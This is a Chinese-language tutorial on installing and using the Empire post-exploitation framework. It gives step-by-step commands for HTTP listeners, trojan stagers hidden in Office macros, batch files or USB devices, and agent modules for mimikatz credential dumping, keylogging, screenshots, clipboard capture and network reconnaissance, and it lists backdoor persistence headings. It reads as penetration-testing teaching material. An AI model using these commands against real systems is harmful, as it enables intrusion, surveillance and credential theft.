简介
Empire是一个利用漏洞后的框架,它包括一个纯PowerShell2.0 Windows代理和一个纯Python 2.6/2.7 Linux/OS X代理。它是之前的PowerShell帝国和Python EmPyre项目的合并。该框架提供密码学安全通信和灵活的架构。在PowerShell方面,Empire实现了无需powershell.exe即可运行PowerShell代理的功能、可快速部署的漏洞利用后模块(从按键记录器到Mimikatz),以及可适应的通信以避免网络检测,所有这些都包含在一个以可用性为中心的框架中。PowerShell帝国首次亮相于2015年的BSideLV和Python EmPyre在2016年迈阿密黑客大会上进行了预演。
项目地址:
https://github.com/EmpireProject/Empire
安装方式
**linux:**
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
sudo poetry install
sudo poetry run python empire --rest -n
**kali:**
sudo apt install powershell-empire
**docker:**
# Pull the latest image
docker pull bcsecurity/empire:latest
# Run the server with the rest api and socket ports open
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
# Run the client
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest client
# To run the client against the already running server container
docker container ls
docker exec -it {container-id} ./ps-empire client
# with persistent storage
docker pull bcsecurity/empire:latest
docker create -v /empire --name data bcsecurity/empire:latest
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data bcsecurity/empire:latest
# if you prefer to be dropped into bash instead of directly into empire
docker run -it -p 1337:1337 -p 5000:5000 --volumes-from data --entrypoint /bin/bash bcsecurity/empire:latest
使用方式
查看命令使用:powershell-empire -h
开启服务端:powershell-empire server
开启客户端:powershell-empire client
help 查看帮助
监听模块:
listeners
//进入监听线程界面
uselistener http
//使用http监听
info
//查看介绍信息
(Empire: listeners/http) > set Name xiaotudou
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute
//配置监听
back
//返回上一级
listeners
//查看生成的监听
kill xiaotudou
//删除监听
木马模块:
usestager
//TAB键查看木马模块,multi通用模块,osx是Mac系统模块
usestager windows/dll
//使用dll木马
/***
usestager windows/launcher_vbs
//vbs木马
usestager windows/launcher_bat
//bat木马,批处理文件可插入office中
usestager windows/macro
//Macro木马,打开word文件,视图——>宏——>宏的位置——>创建。删除原来的代码,将生成的宏复制进去
usestager windows/ducky
//Ducky,将生成的代码烧至小黄鸭中,插入目标计算机,就可以反弹回来
***/
info
//查看介绍信息
set Listener xiaotudou
//设置监听
execute
//执行生成木马文件
//[+] launcher.dll written to /var/lib/powershell-empire/empire/client/generated-stagers/launcher.dll
利用模块
agents
//查看上线机器
rename 【旧name】 【新name】
//修改名字
interact 【name】
//连接主机
help
//查看命令使用
help agentcmds
//查看经常使用的命令
mimikatz
//使用内置mimikatz工具抓取hash和密码
信息收集
usemodule collection/screenshot
execute
//屏幕截图
usemodule collection/keylogger
run
//键盘记录
usemodule collection/clipboard_monitor
execute
//剪贴板记录
usemodule situational_awareness/network/powerview/share_finder
execute
//查找共享
usemodule situational_awareness/host/winenum
execute
//收集目标主机的信息
usemodule situational_awareness/network/arpscan
set Range 192.168.204.1-192.168.204.254
//ARP扫描
usemodule situational_awareness/network/reverse_dns
execute
//DNS信息获取
权限提升
横向渗透
1.获取令牌
2.会话注入
后门
//shift后门
//注册表注入后门
//计划任务获得系统权限